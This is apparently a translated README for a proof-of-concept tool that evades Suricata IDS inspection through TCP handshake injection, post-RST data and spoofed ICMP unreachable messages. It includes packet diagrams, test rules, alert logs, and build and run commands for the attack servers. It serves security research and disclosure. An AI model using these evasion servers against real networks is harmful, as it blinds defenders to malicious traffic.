これらのプログラムは教育目的のみに使用してください。許可なく使用しないでください。
サーバー側で通常のTCP 3ウェイハンドシェイクのパケット順序を破り、3whsが完了する前にレスポンスデータを注入すると、そのデータはクライアントに受信されますが、一部のIDSエンジンはそのコンテンツチェックをスキップする可能性があります。
Client -> [SYN] [Seq=0 Ack=0] -> Evil Server # クライアントがTCP 3ウェイハンドシェイクを開始
Client <- [SYN, ACK] [Seq=0 Ack=1] <- Evil Server # サーバーは正常に応答するが...
Client <- [PSH, ACK] [Seq=1 Ack=1] <- Evil Server # 3whsが完了する前にHTTPレスポンスを送信
Client <- [FIN, ACK] [Seq=83 Ack=1] <- Evil Server # さらにTCPセッションを終了
Client -> [ACK] [Seq=1 Ack=84] -> Evil Server # クライアントはACKパケットを送信してTCP 3whsを完了し、サーバーからのデータを確認
Client -> [PSH, ACK] [Seq=1 Ack= 4] -> Evil Server # その後、問題なかったかのようにHTTP GETリクエストを送信
Suricata IDS 4.0.4未満はこの問題の影響を受けます。HTTPまたはStream-TCPシグネチャは注入されたコンテンツに対してアラートを生成しません。以下のシグネチャをPoCネットワークトラフィックに適用しても、悪意のあるHTTPレスポンスデータに対するアラートは確認できません。
alert tcp any any -> any any (msg: "TCP BEEN NO_STREAM RULE"; flow: no_stream; content: "been"; sid: 1; )
alert tcp any any -> any any (msg: "TCP BEEN ONLY_STREAM RULE"; flow: only_stream; content: "been"; sid: 2; )
alert http any any -> any any (msg: "HTTP BEEN RULE"; content: "been"; sid: 3; )
alert tcp any any -> any any (msg: "TCP GET NO_STREAM RULE"; flow: no_stream; content: "GET"; sid: 4; )
alert tcp any any -> any any (msg: "TCP GET ONLY_STREAM RULE"; flow: only_stream; content: "GET"; sid: 5; )
alert http any any -> any any (msg: "HTTP GET RULE"; content: "GET"; sid: 6; )
03/02/2018-11:08:13.012990 [**] [1:1:0] TCP BEEN NO_STREAM RULE [**] [Classification: (null)] [Priority: 3] {TCP} 192.168.235.101:80 -> 192.168.235.1:56581
03/02/2018-11:08:13.013610 [**] [1:4:0] TCP GET NO_STREAM RULE [**] [Classification: (null)] [Priority: 3] {TCP} 192.168.235.1:56581 -> 192.168.235.101:80
03/02/2018-11:08:13.018914 [**] [1:5:0] TCP GET ONLY_STREAM RULE [**] [Classification: (null)] [Priority: 3] {TCP} 192.168.235.1:56581 -> 192.168.235.101:80
03/02/2018-11:08:13.018914 [**] [1:6:0] HTTP GET RULE [**] [Classification: (null)] [Priority: 3] {TCP} 192.168.235.1:56581 -> 192.168.235.101:80
Windowsクライアントは、TCP RSTパケットの直後に到着したTCPデータも処理できます。一部のIDSはこれを正しく処理し、RST後のデータを照合しようとしますが、一部はRSTを受信した後にTCPストリームの検査を停止します。
Client -> [SYN] [Seq=0 Ack=0] -> Evil Server # クライアントがTCP 3ウェイハンドシェイクを開始
Client <- [RST, ACK] [Seq=0x0 Ack=1] <- Evil Server # サーバーがTCP RSTで応答
Client <- [SYN, ACK] [Seq=1 Ack=1] <- Evil Server # RST直後にSYN-ACKを送信
... 3whs続行 ...
Suricata IDSは依然としてこの問題の影響を受けます。HTTPまたはStream-TCPシグネチャはこのTCPセッションに対してアラートを生成しません。
alert tcp any any -> any any (msg: "TCP BEEN NO_STREAM RULE"; flow: no_stream; content: "been"; sid: 1; )
alert tcp any any -> any any (msg: "TCP BEEN ONLY_STREAM RULE"; flow: only_stream; content: "been"; sid: 2; )
alert http any any -> any any (msg: "HTTP BEEN RULE"; content: "been"; sid: 3; )
alert tcp any any -> any any (msg: "TCP GET NO_STREAM RULE"; flow: no_stream; content: "GET"; sid: 4; )
alert tcp any any -> any any (msg: "TCP GET ONLY_STREAM RULE"; flow: only_stream; content: "GET"; sid: 5; )
alert http any any -> any any (msg: "HTTP GET RULE"; content: "GET"; sid: 6; )
05/03/2018-19:13:43.270632 [**] [1:4:0] TCP GET NO_STREAM RULE [**] [Classification: (null)] [Priority: 3] {TCP} 192.168.235.1:53434 -> 192.168.235.101:80
05/03/2018-19:13:43.471128 [**] [1:1:0] TCP BEEN NO_STREAM RULE [**] [Classification: (null)] [Priority: 3] {TCP} 192.168.235.101:80 -> 192.168.235.1:53434
UDPパケットが閉じたUDPポートに送信された場合、サーバーはICMPメッセージタイプ「Destination Unreachable」コード「Port Unreachable」で応答する必要があります。IDSはICMP Unreachable応答をTCP RSTパケットと同じように解釈し、このUDPストリームのトラフィック検査を停止または制限する可能性があります。ICMPメッセージの後に通常のUDP応答が続く場合、攻撃者は自身のサーバーからのトラフィックに対するUDPチェックをバイパスします。通常のクライアントはICMP Dest. Unreachableを受信すると接続を閉じるため、ICMPメッセージに添付されたUDP内のIPアドレスとUDPポートを入れ替えることで、クライアントはそのようなICMPメッセージを受け入れませんが、IDSは受け入れます。
Client -> [UDP Req] -> Evil Server # クライアントがパケットを送信してUDPセッションを開始
Client <- [ICMP] [Type=3, Code=3] <- Evil Server # サーバーが最初に*改良された* ICMP Destination Unreachableで応答
Client <- [UDP Resp] <- Evil Server # その後、通常通りUDP応答を送信
Suricata IDS 3.1.2未満はこの問題の影響を受けます。UDPシグネチャはEvil Serverからのパケットに一致しません。
alert udp any any -> any any (msg: "UDP BEEN RULE"; content: "been"; sid: 1; )
alert udp any any -> any any (msg: "UDP HELLO RULE"; content: "hello"; sid: 2; )
05/03/2018-03:44:11.016635 [**] [1:2:0] UDP HELLO RULE [**] [Classification: (null)] [Priority: 3] {UDP} 192.168.235.100:46599 -> 192.168.235.101:80
これらの手法は、他の侵入検知システムやネットワーク監視ツールにも適用できる可能性があります。
Positive Technologies の Kirill Shipulin (@kirill_wow) Hackfest 2018 での講演スライドはこちらから入手可能
git clone https://github.com/kirillwow/ids_bypass.git
cd ids_bypass
make
# inject server
sudo iptables -A OUTPUT -p tcp --sport 80 --tcp-flags RST RST -j DROP
sudo ./inject_server # print help
sudo ./inject_server -i eno16777736 -p 80
# rst server
sudo iptables -A OUTPUT -p tcp -o eno16777736 --sport 80 -m owner --uid-owner 0 --tcp-flags RST RST -j ACCEPT
sudo iptables -A OUTPUT -p tcp -o eno16777736 --sport 80 --tcp-flags RST RST -j DROP
sudo ./rst_server # print help
sudo ./rst_server -i eno16777736 -p 80
# icmp server
sudo iptables -A OUTPUT -o eno16777736 -p icmp --icmp-type destination-unreachable -m owner --uid-owner 0 -j ACCEPT
sudo iptables -A OUTPUT -o eno16777736 -p icmp --icmp-type destination-unreachable -j DROP
sudo ./icmp_server # print help
sudo ./icmp_server -i eno16777736 -p 80
